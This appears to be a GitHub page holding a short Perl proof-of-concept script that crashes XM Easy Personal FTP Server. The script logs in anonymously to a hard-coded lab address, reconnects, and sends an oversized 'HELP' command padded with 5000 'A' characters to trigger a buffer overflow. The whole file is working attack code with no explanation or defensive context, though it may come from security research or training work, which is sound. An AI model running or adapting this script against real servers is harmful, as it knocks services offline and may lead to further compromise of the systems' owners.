-
-
Notifications
You must be signed in to change notification settings - Fork 25
/
XM-easy-personal-ftp-server-crash.pl
41 lines (41 loc) · 1.22 KB
/
XM-easy-personal-ftp-server-crash.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/perl
# Based on ./bed.pl -s ftp -t 192.168.58.135 -r 146
use IO::Socket::INET;
my $srv;
my $splat="HELP " . "A" x 5000;
print "SPLAT: ".length($splat). "\n";
#my $splat = "HELP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
my $sock = IO::Socket::INET->new("192.168.58.139:21") or die "Unable to connect: $!\n";
$sock->recv($srv, 100, 0);
print $srv;
print $sock "USER anonymous\r\n";
print "USER\n";
$sock->recv($srv, 100, 0);
print $srv;
print $sock "PASS user\@this.bed\r\n";
print "PASS\n";
$sock->recv($srv, 100, 0);
print $srv;
sleep 1;
print $sock "QUIT\r\n";
print "QUIT\r\n";
$sock->recv($srv, 100, 0);
print $srv;
my $sock = IO::Socket::INET->new("192.168.58.139:21") or die "Unable to connect: $!\n";
$sock->recv($srv, 100, 0);
print $srv;
print $sock "USER anonymous\r\n";
print "USER\n";
$sock->recv($srv, 100, 0);
print $srv;
print $sock "PASS user\@this.bed\r\n";
print "PASS\n";
$sock->recv($srv, 100, 0);
print $srv;
sleep 2;
print $sock "$splat\r\n";
print "SPLAT: $splat\n";
#sleep 3;
$sock->recv($srv, 100, 0);
print $srv;
print "Done\n";